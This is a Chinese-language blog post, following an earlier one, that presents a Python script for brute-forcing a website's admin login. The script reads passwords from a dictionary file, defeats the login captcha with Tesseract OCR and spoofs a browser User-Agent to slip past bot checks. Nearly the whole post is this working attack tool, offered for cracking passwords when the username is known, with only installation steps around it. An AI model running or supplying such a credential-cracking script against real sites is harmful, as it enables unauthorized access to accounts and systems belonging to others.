前言

继上篇文章，加个后台登陆的验证码识别流程

处理流程

准备工作

安装识别验证码需要的库pillow(等于2.x的PIL,图像识别库)，pytesseract（python中调用google-ocr识别的库）

1
2
pip install pillow 
pip install pytesseract

最后在安装一个：Tesseract-OCR（识别引擎）  百度下载就好

代码实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
# -*- coding: utf-8 -*-
'''
Program：WordPress后台登陆
Function：读取字典逐个登陆Wordpress后台，在知道用户名的情况下，可用来爆破登陆密码
 
Version：Python3.6
Time：2017/11/1
Author：Walks
个人博客：http://www.bywalks.com
'''
#导入requests库，跟2.x的urllib2和3.x的urllib.request差不多的功能，不过好像更强大
import requests
#导入图像识别的一些库
from PIL import Image
from io import BytesIO
import pytesseract
import urllib
 
#登陆后台
url = 'http://www.xx.cn/!logon'
 
#HTTP的header头，添加个user-agent，有的网站会从User-Agent来判断是否是程序访问
#如果是程序访问则不允许，添加个user-agent就是欺骗这种防护
#在这里的后台wordpress好像不用加
headers = {'User-Agent':'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0'}
#访问后，保留cookie
s = requests.Session()
#加个headers
s.headers.update(headers)
 
#获取图片验证码
def get_captcha_by_OCR(img):
    img = Image.open(BytesIO(response))
    #图片灰度化
    img = img.convert('L')
    img.show()
    #识别函数，图片识别
    captcha = pytesseract.image_to_string(img)
    img.close()
    print(captcha)
    return captcha
 
#防止报错代码
try:
    #打开pwd.txt
    with open('pwd.txt','r') as f:
        #逐行访问并且尝试
        for pwd in f:
            #去除每行的\n，当你读取一行时，如果用二进制显示，会发现每行都有个\n
            pwd = pwd.replace('\n','')
            #print(pwd)
            response = urllib.request.urlopen('http://www.xx.cn/!code').read()
             
            #构造post数据
            data = {
                    'USERNAME':User(自己的用户名),
                    'PASSWORD':pwd,
                    'AUTHCODE':get_captcha_by_OCR(response),
                    }
            #尝试登陆
            req = s.post(url,data = data)
            print(req.status_code)
            #通过某些特征判断是否登陆成功
            if 'SZ-09951217-Y' in req.text:
                print('OK')
                break
				
#如果出错，输出具体错误
except requests.RequestException as e:
    print(e)

该程序有个缺陷，就是只能进行简单的验证码识别流程，如果想识别其他的验证码，可以自己学习一下这方面的知识。